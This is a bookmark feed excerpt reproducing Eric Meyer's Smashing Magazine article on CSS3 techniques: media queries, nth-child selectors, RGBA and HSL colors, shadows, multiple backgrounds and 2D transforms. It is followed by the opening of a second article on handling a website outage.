    <dc:creator>seancron</dc:creator><description><![CDATA[    This article is an excerpt from Eric Meyer’s recent book Smashing CSS, published by Wiley in cooperation with Smashing Magazine.
In this article, the focus is on what’s coming: styling techniques you’ll use in the immediate and near-term future. From styling HTML 5 elements to rearranging layout based on display parameters to crazy selection patterns to transforming element layout, these are all techniques that you may use tomorrow, next month, or next year. With partial browser support, they’re all on the cutting edge of Web design.
Accordingly, be careful not to get cut! A number of useful sites can help you figure out the exact syntaxes and patterns you need to use these techniques.
Furthermore, a number of JavaScript libraries can extend support for advanced CSS back into older browsers, in some cases as far back as IE/Win 5.5. Some are very narrowly focused on certain browser families, whereas others are more broadly meant to allow support in all known browsers. These can be useful in cases where your visitors haven’t quite caught up with the times but you don’t want them to miss out on all the fun. (Some of these libraries are CSS3 PIE, cssSandpaper, :select[ivizr], ie7-js, eCSStender).
There are also a good many CSS enhancements available as plug-ins for popular JavaScript libraries such as jQuery. If you’re a user of such a library, definitely do some digging to see what’s been created. Again: Be careful! While these techniques are powerful and can deliver a lot of power to your pages, you need to test them thoroughly in the browsers of the day to make sure you didn’t just accidentally make the page completely unreadable in older browsers.
Styling HTML 5Styling HTML 5 is really no different than styling HTML 4. There are a bunch of new elements, but styling them is basically the same as styling any other element. They generate the same boxes as any other div, span, h2, a, or what have you.
The HTML 5 specification is still being worked on as of this writing, so this may change a bit over time, but the following declarations may be of use to older browsers that don’t know quite what to do with the new elements.

article, aside, canvas, details, embed, figcaption, figure, footer, header, hgroup, menu, nav, section, summary {
display: block;
}
command, datalist, keygen, mark, meter, progress, rp, rt, ruby, time, wbr {
display: inline;
}
You may have noticed that I left out two fairly important new elements: audio and video. That’s because it’s hard to know exactly how to treat them. Block? Inline? All depends on how you plan to use them. Anyway, you can place them in the declaration that makes the most sense to you.
But what about really old browsers, like IE6? (Note I said “old,” not “unused.” In an interesting subversion of popular culture, browser popularity has very little to do with age.) For those, you need to use a bit of JavaScript in order to get the browser to recognize them and therefore be able to style them. There’s a nice little script that auto-forces old versions of IE to play nicely with HTML 5 elements. If you’re going to use and style them, you should definitely grab that script and put it to use.
Once you’ve gotten your browser ducks in a row and quacking “The Threepenny Opera,” you can get down to styling. Remember: There’s really nothing new about styling with these new elements. For example:

figure {
float: left;
border: 1px solid gray;
padding: 0.25em;
margin: 0 0 1.5em 1em;
}
figcaption {
text-align: center;
font: italic 0.9em Georgia, "Times New Roman", Times, serif;
}


    <img src="splash.jpg" alt="A toddler’s face is obscured by a rippled and dimpled wall of water thrown up by her hands slapping into the surface of the swimming pool in whose waters she sits.">
SPLASH SPLASH SPLASH!!!

Figure 7-1: A styled HTML 5 figure and figure caption.
Classing like HTML 5Perhaps you like the new semantics of HTML 5, but you’re just not ready to take your sites to full-on HTML 5. Maybe your site’s user base is mostly older browsers and you’d rather stick to known quantities like HTML 4 or XHTML. Not to worry: You can have the best of both worlds with the venerable class attribute.
This approach was documented by Jon Tan in his article. The basic idea is to use old-school elements like div and span, and add to them classes that exactly mirror the element names in HTML 5. Here’s a code example.

.figure {
float: left;
border: 1px solid gray;
padding: 0.25em;
margin: 0 0 1.5em 1em;
}
.figcaption {
text-align: center;
font: italic 0.9em Georgia, "Times New Roman", Times, serif;
}


    <img src="spring.jpg" alt="A small child with twin pigtail braids, her back to the camera, swings away from the camera on a playground swingset while the late afternoon sun peeks over the crossbar of the swingset.">
    <div class="figcaption">Swinging into spring.</div>

Figure 7-2: A styled HTML 4-classed figure and figure caption.
If you compare the styles there to those found in the preceding section, you’ll see that the only difference is that the names figure and figcaption are preceded by periods — thus marking them as class names. The markup is a little different, of course, though it’s the same basic structure.
The advantage of this approach is that if you have these styles in place at the point when you decide you can convert to HTML 5, then all you need to do is change your markup to use HTML 5 elements instead of classed divs and then strip off the periods to turn the class selectors into element selectors. That’s it. Easy as cake!
Media QueriesThis could honestly be its own article, or possibly even its own book. Thus, what follows will necessarily be just a brief taste of the possibilities. You should definitely follow up with more research, because in a lot of ways this is the future of Web styling.
The point of media queries is to set up conditional blocks of styles that will apply in different media environments. For example, you could write one set of styles for portrait displays and another for landscape displays. You might change the colors based on the bit depth of the display. You could change the font based on the pixel density of display. You might even rearrange the page’s layout depending on the width or number of pixels available in the display.
Figure 7-3: A basic three-column layout.
How? Consider some basic layout styles for a three-column layout:

body {
background: #FFF;
color: #000;
    font: small Arial, sans-serif;
}
.col {
position: relative;
    margin: 3em 1%;
    padding: 0.5em 1.5%;
    border: 1px solid #aaa;
    border-width: 1px 1px 0 1px;
float: right;
width: 20%;
}
#two {
width: 40%;
}
#footer {
clear: both;
}
As nice as this might be (in a minimalist sort of way), it is likely to run into trouble on smaller—which is to say, narrower—displays. What if you could magically change to a two-column layout on such displays?
Well, you can. First, restrict the three-column layout to environments that are more than 800 pixels across. This is done by splitting the layout bits into their own declarations:

body {
background: #fff;
color: #000;
    font: small Arial, sans-serif;
}
.col {
position: relative;
    margin: 3em 1%;
    padding: 0.5em 1.5%;
    border: 1px solid #aaa;
    border-width: 1px 1px 0 1px;
}
#footer {
clear: both;
}
.col {
float: right;
width: 20%;
}
#two {
width: 40%;
}
Then wrap those last two declarations in a media query:

@media all and (min-width: 800px) {
    .col {
    float: right;
    width: 20%;
    }
    #two {
    width: 40%;
    }
}
What that says is “the rules inside this curly-brace block apply in all media that have a minimum display width of 800 pixels.” Anything below that, no matter the medium, and the rules inside the block will be ignored. Note the parentheses around the min-width term and its value. These are necessary any time you have a term and value (which are referred to as an expression).
At this point, nothing will really change unless you shrink the browser window until it offers fewer than 800 pixels across to the document. At that point, the columns stop floating altogether.
Figure 7-4: What happens below 800 pixels.
What you can do at this point is write another media-query block of layout rules that apply in narrower conditions. Say you want a two-column layout between 500 and 800 pixels):

@media all and (min-width: 500px) and (max-width: 799px) {
    .col {
    float: left;
    width: 20%;
    }
    #two {
    float: right;
    width: 69%;
    }
    #three {
    clear: left;
    margin-top: 0;
    }
}
Figure 7-5: The reworked layout, which shows between 500 and 800 pixels.
And finally, you can apply some single-column styles for any medium with fewer than 500 pixels of display width:

@media all and (max-width: 499px) {
    #one {
    text-align: center;
    }
    #one li {
    display: inline;
    list-style: none;
padding: 0 0.5em;
border-right: 1px solid gray;
line-height: 1.66;
}
    #one li:last-child {
    border-right: 0;
    }
    #three {
    display: none;
    }
}
Figure 7-6: Single-column layout, which shows below 500 pixels.
Note that in all these queries, layout styles are defined in relation to the display area of the browser window. More generically, they are defined in relation to the display area available to the document in any medium in which it is rendered. That means that if a printer, for example, is used to print the document and it has an available display area 784 pixels wide, then the two-column layout will be for printing.
To restrict the column shifting to screen media only, alter the queries, like so:

@media screen and (min-width: 800px) {...}
@media screen and (min-width: 500px) and (max-width: 799px) {...}
@media screen and (max-width: 499px) {...}
But what if you want the three-column layout used in some non-screen media, like print and TV displays? Then add in those media using commas, like so:

@media print, tv, screen and (min-width: 800px) {...}
@media screen and (min-width: 500px) and (max-width: 799px) {...}
@media screen and (max-width: 499px) {...}
The commas here act as logical ORs, so the first query reads “use these styles on print media OR TV media OR a display area on a screen medium where the display area is 800 pixels or more.”
And if you want the three-column layout used in all non-screen media? Add a statement to the first query using the not modifier saying “anything that isn’t screen.”

@media not screen, screen and (min-width: 800px) {...}
@media screen and (min-width: 500px) and (max-width: 799px) {...}
@media screen and (max-width: 499px) {...}
As before, the comma joins the two in an OR statement, so it reads as “anything not on a screen medium OR a display area on a screen medium where the display area is 800 pixels or more.”
There is also an only modifier, so that a query can say something like only print or only screen and (color). As of this writing, not and only are the only modifiers in media queries.
You aren’t restricted to pixels for the previous queries, by the way. You can use ems, centimeters, or any other valid length unit.
Table 7-1: The base media query terms
TermDescriptionwidthThe width of the display area (e.g., a browser window).heightThe height of the display area (e.g., a browser window).device-widthThe width of the device’s display area (e.g., a desktop monitor or mobile device display).device-heightThe height of the device’s display area.orientationThe way the display is oriented; the two values are portrait and landscape.aspect-ratioThe ratio of the display area’s width to its height. Values are two integers separated by a forward slash.device-aspect-ratioThe ratio of the device display’s width to its height. Values are two integers separated by a forward slash.colorThe color bit-depth of the display device. Values are unitless integers which refer to the bit depth. If no value is given, then any color display will match.color-indexThe number of colors maintained in the device’s “color lookup table.” Values are unitless integers.monochromeApplies to monochrome (or grayscale) devices.resolutionThe resolution of the device display. Values are expressed using units dpi or dpcm.scanThe scanning type of a “TV” media device; the two values are progressive and interlace.gridWhether the device uses a grid display (e.g., a TTY device). Values are 0 and 1.Table 7-1 shows all the query terms that can be used in constructing media queries. Note that almost all of these terms accept min- and max- prefixes (for example, device-height also has min-device-height and max-device-height cousins). The exceptions are orientation, scan, and grid.
Styling Occasional ChildrenThere are times when you may want to select every second, third, fifth, eighth, or thirteenth element in a series. The most obvious cases are list items in a long list or rows (or columns) in a table, but there are as many cases as there are combinations of elements.
Consider one of the less obvious cases. Suppose you have a lot of quotes that you want to float in a sort of grid. The usual problem in these cases is that quotes of varying length can really break up the grid.
A classic solution here is to add a class to every fourth div (because that is what encloses each quote) and then clear it. Rather than clutter up the markup with classes, though, why not select every fourth div?

.quotebox:nth-child(4n+1) {
clear: left;
}
Figure 7-7: The problem with floating variable-height elements.
Figure 7-8: Clearing every fourth child.
A quick explanation of the 4n+1 part:
4n means every element that can be described by the formula 4 times n, where n describes the series 0, 1, 2, 3, 4… .That yields elements number 0, 4, 8, 12, 16, and so on. (Similarly, 3n would yield the series 0, 3, 6, 9, 12… .)But there is no zeroth element; elements start with the first (that is, element number 1). So you have to add + 1 in order to select the first, fifth, ninth, and so forth elements.Yes, you read that right: the :nth-child() pattern starts counting from 0, but the elements start counting from 1. That’s why + 1 will be a feature of most :nth-child() selectors.
The great thing with this kind of selector is that if you want to change from selecting every fourth element to every third element, you need only change a single number.

.quotebox:nth-child(3n+1) {
clear: left;
}
Figure 7-9: Clearing every third child.
That might seem pretty nifty on its own, but it gets better. If you combine this approach with media queries, you get an adaptable grid-like layout.

@media all and (min-width: 75.51em) {
    .quotebox:nth-child(5n+1) {
    clear: left;
    }
}
@media all and (min-width: 60.01em) and (max-width: 75em) {
    .quotebox:nth-child(4n+1) {
    clear: left;
    }
}
@media all and (min-width: 45.51em) and (max-width: 60em) {
    .quotebox:nth-child(3n+1) {
    clear: left;
    }
}
@media all and (min-width: 30.01em) and (max-width: 45.5em) {
    .quotebox:nth-child(2n+1) {
    clear: left;
    }
}
@media all and (max-width: 30em) {
    .quotebox {
    float: none;
    }
}
 
Figure 7-10: Two views of an adaptable floated grid.
Note that this particular set of queries is based on the width of the display area of the browser as measured in ems. That helps make the layout much more adaptable to changes of text size and browser window.
If you’re interested in selecting every other element — let’s say, every other table row — there are some more human alternatives to 2n+1. You can select even-numbered or odd-numbered children using :nth-child(even) and :nth-child(odd), as in this example.

tr:nth-child(odd) {
background: #eef;
}
Styling Occasional ColumnsIt’s easy enough to select alternate table rows for styling, but how about table columns? Actually, that’s just as easy, thanks to the :nth-child and :nth-of-type selectors.
In a simple table with rows consisting of nothing but data cells (those are td elements), you can select every other column like so:

td:nth-child(odd) {
background: #fed;
}
Figure 7-11: Styling the odd-numbered columns.
Want to fill in the alternate ones!

td:nth-child(odd) {
background: #fed;
}
td:nth-child(even) {
background: #def;
}
If you’re after every third, fourth, fifth, or similarly spaced-out interval, then you need the n+1 pattern.

td:nth-child(3n+1) {
background: #edf;
}
Figure 7-12: Styling both odd- and even-numbered columns.
Figure 7-13: Styling every third data column.
That’s all relatively straightforward. Now, what happens when you put a th at the beginning of each row? In one sense, nothing. The columns that are selected don’t change; you’re still selecting the first, fourth, seventh, and so on children of the tr elements. In another sense, the selected columns are shifted, because you’re no longer selecting the first, fourth, seventh, and so on data columns. You’re selecting the third, sixth, and so on data columns. The first column, which is composed of th element, doesn’t get selected at all because the selector only refers to td elements.
Figure 7-14: Disrupting the pattern with row headers.
To adjust, you could change the terms of the :nth-child selector:

td:nth-child(3n+2) {
background: #edf;
}
Alternatively, you could keep the original pattern and switch from using :nth-child to :nth-of-type:

td:nth-of-type(3n+1) {
background: #fde;
}
Figure 7-15: Restoring the pattern by adjusting the selection formula.
Figure 7-16: Restoring the pattern with :nth-of-type.
This works because it selects every nth element of a given type (in this case, td elements) that shares a parent element with the others. Think of it as :nth-child that also skips any elements that aren’t named in the :nth-child selector.
RGB Alpha ColorColor values are probably one of the most familiar things in all of CSS; some people are to the point of being able to estimate a color’s appearance based on its hexadecimal representation. (Go on, try it: #e07713.) It’s not quite as common to use the rgb() notation for colors, but they’re still pretty popular.
In CSS 3, the rgb() notation is joined by rgba() notation. The a part of the value is the alpha, as in alpha channel, as in transparency. Thus you can supply a color that is partly see-through:

.box1 {
background: rgb(255,255,255);
}
.box2 {
background: rgba(255,255,255,0.5);
}
Figure 7-17: Boxes with opaque and translucent RGB backgrounds.
You can also use the percentage form of RGB color values in RGBA:

.box1 {
background: rgb(100%,100%,100%);
}
.box2 {
background: rgba(100%,100%,100%,0.5);
}
The alpha value is always represented as a number between 0 and 1 inclusive, with 0 meaning “no opacity at all” and 1 meaning “fully opaque.” So half-opaque (and thus half-transparent) is 0.5. You can’t put a percentage in there for historical reasons that are too messy to get into here.
If you supply a number outside the 0 to 1 range, it will (in the words of the specification) be “clamped” to the allowed range. So if you give an alpha value of 4.2, the browser will treat it as if you’d written 1. Also, it isn’t clear what should happen when an alpha of 0 is used. Since the color is fully transparent, what will happen to, say, invisible text? Can you select it? If it’s used on a link, is the link clickable? Both are interesting questions with no definitive answers. So be careful.
RGBA colors can be used with any property that accepts a color value, such as color and background-color. To keep older browsers from puking on themselves, it’s advisable to supply a non-alpha color before the alpha color. That would take a form like so:

{
color: #000;
color: rgba(0,0,0,0.75);
}
The older browsers see the first value and know what to do with it. Then they see the second value and don’t know what to do with it, so they ignore it. That way, at least older browsers get black text. Modern browsers, on the other hand, understand both values and thanks to the cascade, override the first with the second.
Note that there is no hexadecimal form of RGBA colors. Thus, you cannot write #00000080 and expect half-opaque black.
HSL and HSL Alpha ColorA close cousin to RGBA values are the HSLA values, and an even closer cousin to them are HSL colors. These are new to CSS 3, and will be a delightful addition to many designers.
For those not familiar with HSL, the letters stand for Hue-Saturation-Lightness. Even if you didn’t know the name, you’ve probably worked with HSL colors in a color picker.
Figure 7-18: An HSL color picker.
The hue is represented as a unitless number corresponding to the hue angle on a color wheel. Saturation and lightness are both percentages, and alpha is (as with RGBA) a number between 0 and 1 inclusive. In practice, you can use HSL colors anywhere a color value is accepted. Consider the following rules, which create the equivalent effect.

.box1 {
background: hsl(0,0%,100%);
}
.box2 {
background: hsla(0,0%,100%,0.5);
}
Figure 7-19: Various HSL color tables.
Figure 7-20: Boxes with opaque and translucent HSL backgrounds.
You can do old-browser fallbacks with regular RGB values, though having to specify an RGB color and then HSL color does sort of detract from the point of using HSL in the first place. HSL allows you to get away from RGB altogether.
Shadowy StylesAh, drop shadows. Remember drop shadows? In the mid-90’s, everything had a drop shadow. Of course, back then the shadows were baked into images and constructed with tables even more tortuously convoluted than usual. Now you can relive the glory days with some fairly simple CSS. There are actually two properties available: text-shadow and box-shadow.
Take the former first. The following CSS will result:

h1 {
text-shadow: gray 0.33em 0.25em 0.1em;
}
The first length (0.33em) indicates a horizontal offset; the second (0.25em), a vertical offset. The third is a blur radius, which is the degree by which the shadow is blurred. These values can use any length unit, so if you want to do all your shadow offsets and blurs in pixels, go to town. Blurs can’t be negative, but offsets can: A negative horizontal offset will push the shadow to the left, and a negative vertical offset will go upward.
Figure 7-21: Dropping shadows from a heading.
You can even have multiple shadows! Of course, whether you should, is a matter of opinion.

h1 {
text-shadow: gray 0.33em 0.25em 0.1em, -10px 4px 7px blue;
}
Note that the color of a shadow can come before all the lengths or after them, whichever you prefer. Note also that the CSS 3 specification says that the first shadow is “on top,” which is closest to you. Shadows after that are placed successively further away from you as you look at the page. Thus, the gray shadow is placed over the top of the blue shadow. Now to shadow boxes. It’s pretty much the same drill, only with a different property name.

h1 {
box-shadow: gray 0.33em 0.25em 0.25em;
}
Figure 7-22: A heading with multiple shadows.
Figure 7-23: Shadowing the element box of a heading.
Even though there’s no obvious element box for the h1, a shadow is generated anyway. It’s also drawn only outside the element, which means that you can’t see it behind/beneath the element, even when the element has a transparent (or, with RGBA colors, semi-transparent) background. The shadows are drawn just beyond the border edge, so you’re probably better off putting a border or a visible background (or both) on any shadowed box.
You can have more than one box shadow, just like you can with text shadows:

h1 {
box-shadow: gray 0.33em 0.25em 0.25em, -10px 2px 6px blue;
}
Figure 7-24: Multiple shadows on the element box of a heading.
Here’s where I have to admit a small fib: The previous examples are the ideal cases. As of this writing, they wouldn’t actually work in browsers. As of mid-2010, to make the single-shadow example work, you’d actually need to say:

h1 {
-moz-box-shadow: gray 0.33em 0.25em 0.25em;
-webkit-box-shadow: gray 0.33em 0.25em 0.25em;
box-shadow: gray 0.33em 0.25em 0.25em;}
That will cover all modern browsers as of mid-2010. Over time, the need for the prefixed properties (-moz- and –webkit-) will fade and you’ll be able to just write the single box-shadow declaration. When exactly will that happen? It all depends on your design, your site’s visitors, and your own sense of comfort.
If you also want to get drop shadows on boxes in older versions of Internet Explorer, then you’ll need to add in the IE-only Shadow filter. Read here to find out more.
Multiple BackgroundsOne of the really nifty things in CSS 3 is its support for multiple background images on a given element. If you’ve ever nested multiple div elements just to get a bunch of background decorations to show up, this section is for you.
Take, for example, this simple set of styles and markup to present a quotation:

body {
background: #c0ffee;
font: 1em Georgia, serif;
padding: 1em 5%;
}
.quotebox {
font-size: 195%;
padding: 80px 80px 40px;
width: 16em;
margin: 2em auto;
border: 2px solid #8d7961;
background: #fff;
}
.quotebox span {
font-style: italic;
font-size: smaller;
display: block;
margin-top: 0.5em;
text-align: right;
}

One’s mind has a way of making itself up in the background, and it suddenly becomes clear what one means to do.
—Arthur Christopher Benson

Figure 7-25: Setting up the quotation’s box.
Now, adding a single background image is no big deal. Everyone has done it about a zillion times.

.quotebox {
background: url(bg01.png) top left no-repeat;
background-color: #fff;
}
Figure 7-26: Adding a single background.
But what if you want a little quarter-wheel in every corner? Previously, you would have nested a bunch of divs just inside the quotebox div. With CSS 3, just keep adding them to the background declaration:

.quotebox {
      background:
             url(bg01.png) top left no-repeat,
             url(bg02.png) top right no-repeat;
      background-color: #fff;
}
Figure 7-27: Applying two backgrounds to the same element.
Commas separate each background value to get multiple backgrounds:
.quotebox {
background:
             url(bg01.png) top left no-repeat,
             url(bg02.png) top right no-repeat,
             url(bg03.png) bottom right no-repeat,
             url(bg04.png) bottom left no-repeat;
      background-color: #fff;
}
Figure 7-28: Applying four backgrounds to a single element.
The effect here is extremely similar to nesting a bunch of divs. It’s just that with CSS 3, you don’t have to bother any more.
That similarity extends into the way background are composited together. You may have noticed that I split out the background-color declaration in order to have a nice flat white behind all the images. But what if you wanted to fold it into the background declaration? Where would you put it? After all, each of these comma-separated values sets up its own background. Put the color in the wrong place, and one or more images will be overwritten by the color.
As it turns out, the answer is the last of the values:

.quotebox {
background:
             url(bg01.png) top left no-repeat,
             url(bg02.png) top right no-repeat,
             url(bg03.png) bottom right no-repeat,
             #fff url(bg04.png) bottom left no-repeat;
}
That’s because the multiple background go from “highest”—that is, closest to you as you look at the page—to “lowest”—furthest away from you. If you put the color on the first background, it would sit “above” all the others.
This also means that if you want some kind of patterned background behind all the others, it needs to come last and you need to make sure to shift any background color to it.

.quotebox {
background:
             url(bg01.png) top left no-repeat,
             url(bg02.png) top right no-repeat,
             url(bg03.png) bottom right no-repeat,
             url(bg04.png) bottom left no-repeat,
             #fff url(bgparch.png) center repeat;
}
Figure 7-29: One element, five backgrounds.
Because of the possible complexities involved, I prefer to split any default background color into its own declaration, as shown earlier. Thus I’d write the preceding as:

.quotebox {
background:
             url(bg01.png) top left no-repeat,
             url(bg02.png) top right no-repeat,
             url(bg03.png) bottom right no-repeat,
             url(bg04.png) bottom left no-repeat,
             url(bgparch.png) center repeat;
      background-color: #fff;
}
When you use the separate property, the color is placed behind all the images and you don’t have to worry about shifting it around if you reorder the images or add new images to the pile.
You can comma-separate the other background properties such as background-image. In fact, an alternate way of writing the preceding styles would be:

.quotebox {
    background-repeat: no-repeat, no-repeat, no-repeat, no-repeat, repeat;
    background-image: url(bg01.png), url(bg02.png), url(bg03.png), url(bg04.png), url(bgparch.png);
    background-position: top left, top right, bottom right, bottom left, center;
    background-color: #fff;
}
Different format, same result. This probably looks more verbose, and in this case it really is, but not always. If you drop the parchment background, then you could simplify the first declaration quite a bit:

.quotebox {
    background-repeat: no-repeat;
    background-image: url(bg01.png), url(bg02.png), url(bg03.png), url(bg04.png);
    background-position: top left, top right, bottom right, bottom left;
    background-color: #fff;
}
Figure 7-30: Similar background, alternate syntax.
Given those styles, none of the background images would be repeated, because the single no-repeat is applied to all the backgrounds that are assigned to the element. The only reason you had to write out all the repeat values before was that the first four have one value and the fifth had another.
And if you were to write two values for background-repeat?

.quotebox {
    background-repeat: no-repeat, repeat-y;
    background-image: url(bg01.png), url(bg02.png), url(bg03.png), url(bg04.png);
    background-position: top left, top right, bottom right, bottom left;
    background-color: #fff;
}
In that case, the first and third images would not be repeated, whereas the second and fourth images would be repeated along the y axis. With three repeat values, they would be applied to the first, second, and third images, respectively, whereas the fourth image would take the first repeat value.
2D TransformsIf you’ve ever wanted to rotate or skew an element, border, and text and all, then this section is definitely for you. First, though, a word of warning: In order to keep things legible, this section uses the unprefixed version of the transform property. As of this writing, doing transforms in a browser actually would require multiple prefixed declarations, like so:

-webkit-transform: …;
-moz-transform: …;
-o-transform: …;
-ms-transform: …;
transform: …;
That should cease to be necessary in a year or two (I hope!) but in the meantime, keep in mind as you read through this section that it’s been boiled down to the unprefixed version for clarity.
Time to get transforming! Possibly the simplest transform to understand is rotation:

.box1 {
-moz-transform: rotate(33.3deg);
}
.box2 {
-moz-transform: rotate(-90deg);
}
Figure 7-31: Rotated element boxes. The red dashes show the original placement of the elements before their rotation.
In a sense, transforming is a lot like relative positioning: The element is placed normally and then transformed. You can transform any element at all, and in the case of rotation can use any real-number amount of degrees, radians, or grads to specify the angle of rotation. If you’ve ever wanted to rotate your blog by e radians or 225 grads, well, now’s your chance.
As you no doubt noticed, the boxes in the preceding example were rotated around their centers. That’s because the default transformation origin is 50% 50%, or the center of the element. You can change the origin point using transform-origin:

.box1 {
transform: rotate(33.3deg);
transform-origin: bottom left;
}
.box2 {
transform: rotate(-90deg);
transform-origin: 75% 0;
}
Figure 7-32: Elements rotated around points other than their centers.
Two notes: First, negative angles can be equivalent to positive angles. Thus, 270deg is equivalent to –90deg in the final positioning of the element, just as 0deg and 360deg are the same. Second, you can specify angles greater than the apparent maximum value. If you declare 540deg, the element’s final rotation will look exactly the same as if you’d declared 180deg (as well as –180deg, 900deg, and so on). The interim result may be different if you also apply transitions (see next section), but the final “resting” state will be equivalent.
Almost as simple as rotation is scaling. As you no doubt expect, this scales an element up or down in size, making it larger or smaller. You can do this consistently along both axes, or to a different degree along each axis:

.box1 {
transform: scale(0.5);
}
.box2 {
transform: scale(0.75, 1.5);
}
Figure 7-33: Scaled elements.
One scale() value means the element will be scaled by that amount along both the x and y axes. If there are two values, the first specifies the horizontal (X) scaling, and the second, the vertical (Y) scaling. Thus, if you want to leave the horizontal axis the same and only scale on the y axis, do this:

.box1 {
transform: scale(0.5);
}
.box2 {
transform: scale(1, 1.5);
}
Alternatively, you can use the scaleY() value:

.box1 {
transform: scale(0.5);
}
.box2 {
transform: scaleY(1.5);
}
Along the same lines is the scaleX() value, which causes horizontal scaling without changing the vertical scaling.

.box1 {
transform: scaleX(0.5);
}
.box2 {
transform: scaleX(1.5);
}
Figure 7-34: Two scaled elements, one scaled only on the Y axis.
Figure 7-35: Two scaled elements, one scaled only on the X axis.
When writing CSS yourself, it seems most convenient to just stick with scale() and fill in a 0 for the horizontal any time you want a purely vertical scaling. If you’re programmatically changing the scaling via DOM scripting, it might be easier to manipulate scaleX() and scaleY() directly.
As with rotation, you can affect the origin point for scaling. This allows you, for example, to cause an element to scale toward its top-left corners instead of shrink down toward its center:

.box1 {
transform: scale(0.5);
transform-origin: top left;
}
.box2 {
transform: scale(1.5);
transform-origin: 100% 100%;
}
Figure 7-36: Two scaled elements, each with a different scaling origin.
Similarly simple is translation. In this case, it isn’t changing the language from one to another, but “translating” a shape from one point to another. It’s an offset by either one or two length values.

.box1 {
transform: translate(50px);
}
.box2 {
transform: translate(5em,10em);
}
Figure 7-37: Translated elements.
Again, this is very much like relative positioning. The elements are placed normally and then transformed as directed. When there’s only one length value in a translate() value, it specifies a horizontal movement and the vertical movement is assumed to be zero. If you just want to translate an element up or down, you have two choices. First is to simply give a length of 0 for the horizontal value.

.box1 {
transform: translate(0,50px);
}
.box2 {
transform: translate(5em,10em);
}
The other is to use the value pattern translateY():

.box1 {
transform: translateY(50px);
}
.box2 {
transform: translate(5em,10em);
}
There is also a translateX(), which does about what you’d expect: moves the element horizontally!
Figure 7-38: Two differently translated elements.
While you can declare a transform-origin in cases where you’re just translating, it doesn’t matter all that much whether you do so. After all, whether an element’s center or top-left corner is pushed 50 pixels to the right doesn’t really matter. The element will end up in the same place either way. But that’s only true if all you’re doing is translating. If you do anything else at the same time, like rotate or scale, then the origin will matter. (More on combining transforms in a bit.)
The last type of transformation, skewing, is slightly more complex, although the method of declaring it is no more difficult than you’ve seen so far.
Skewing an element distorts its shape along one or both axes:

.box1 {
transform: skew(23deg);
}
.box2 {
transform: skew(13deg,-45deg);
}
If you provide only a single value for skew(), then there is only horizontal (X) skew, and no vertical (Y) skew. As with translations and scaling, there are skewX() and skewY() values for those times you want to explicitly skew along only one axis:

.box1 {
transform: skewX(-23deg);
}
.box2 {
transform: skewY(45deg);
}
Figure 7-39: Two skewed elements.
Figure 7-40: Two elements, each one skewed along a different axis.
Here’s how skewing works: Imagine there are two bars running through the element, one along each of the X and Y axes. When you skew in the X direction, the Y axis is rotated by the skew angle. Yes, the Y (vertical) axis is the one that rotates in a skewX() operation. Positive angles are counterclockwise, and negative angles are clockwise. That’s why the first box in the preceding example appears to tilt rightward: The Y axis was tilted 33.3 degrees clockwise.
The same basic thing happens with skewY(): The X axis is tilted by the specified number of degrees, with positive angles tilting it counterclockwise and negative angles tilting clockwise.
The interesting part here is how the origin plays into it. If the origin is in the center and you provide a negative skewX(), then the top of the element will slide to the right of the origin point while the bottom will slide to the left. Change the origin to the bottom of the element, though, and the whole thing will tilt right from the bottom of the element.

.box1 {
transform: skewX(-23deg);
}
.box2 {
transform: skewY(-23deg);
transform-origin: bottom center;
}
Figure 7-41: Two skewed elements, each with a different skewing origin.
Similar effects happen with vertical skews.
So those are the types of transforms you can carry out. But what if you want to do more than one at a time? No problem! Just list them in the order you want them to happen.

.box1 {
transform: translateX(50px) rotate(23deg);
}
.box2 {
transform: scale(0.75) translate(25px,-2em);
}
Figure 7-42: Multiple transforms in action.
In every case, the transforms are executed one at a time, starting with the first. This can make a significant difference. Consider the differing outcomes of the same transforms in different orders.

.box1 {
transform: rotate(45deg) skew(-45deg);
}
.box2 {
transform: skew(-45deg) rotate(45deg);
}
There is one more transformation value type to cover: matrix(). This value type allows you to specify a transformation matrix in six parts, the last two of which define the translation. Here’s a code example:

.box1 {
transform: matrix(0.67,0.23,0,1,25px,10px);
}
.box2 {
transform: matrix(1,0.13,0.42,1,0,-25px);
}
Figure 7-43: The differences caused by transform value ordering.
Figure 7-44: Matrix transforms.
Basically, the first four numbers are a compact form of expressing the end result of rotating, skewing, and scaling an element, and the last two translate that end result. If you understand matrix-transformation math, then you’ll love this. If you don’t, don’t worry about it overmuch. You can get to the same place with the other transform values reviewed in this chapter.
If you’d like to learn about matrix transforms, here are two useful resources:
Examples of Linear Transformation MatricesCoordinate Transformation MatricesAbout the book
Smashing CSS takes you well beyond the basics, covering not only the finer points of layout and effects, but introduces you to the future with HTML5 and CSS3. This book is for developers who already have some experience with CSS and JavaScript and are ready for more advanced techniques.
(vf) (ik)
© Eric Meyer for Smashing Magazine, 2011. | Permalink | Post a comment | Smashing Shop | Smashing Network | About Us Post tags: CSS, css3 
]]></description>
<dc:subject>Coding CSS css3</dc:subject>
<dc:identifier>https://pinboard.in/u:seancron/b:c1b7973f4269/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:Coding"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:CSS"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:css3"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.smashingmagazine.com/2010/12/13/what-to-do-when-your-website-goes-down/">
    <title>What To Do When Your Website Goes Down</title>
    <dc:date>2010-12-13T13:15:38+00:00</dc:date>
    <link>http://www.smashingmagazine.com/2010/12/13/what-to-do-when-your-website-goes-down/</link>
    <dc:creator>seancron</dc:creator><description><![CDATA[    Have you ever heard a colleague answer the phone like this: “Good afterno… Yes… What? Completely?… When did it go down?… Really, that long?… We’ll look into it right away… Yes, I understand… Of course… Okay, speak to you soon… Bye.” The call may have been followed by some cheesy ’80s rock ballad coming from the speaker phone, interrupted by “Thank you for holding. You are now caller number 126 in the queue.” That’s your boss calling the hosting company’s 24 hour “technical support” line.
An important website has gone down, and sooner or later, heads will turn to the Web development corner of the office, where you are sitting quietly, minding your own business, regretting that you ever mentioned “Linux” on your CV. You need to take action. Your company needs you. Your client needs you. Here’s what to do.
1. Check That It Has Actually Gone DownDon’t take your client’s word for it. Visit the website yourself, and press Shift + Refresh to make sure you’re not seeing a cached version (hold down Shift while reloading or refreshing the page). If the website displays fine, then the problem is probably related to your client’s computer or broadband connection.
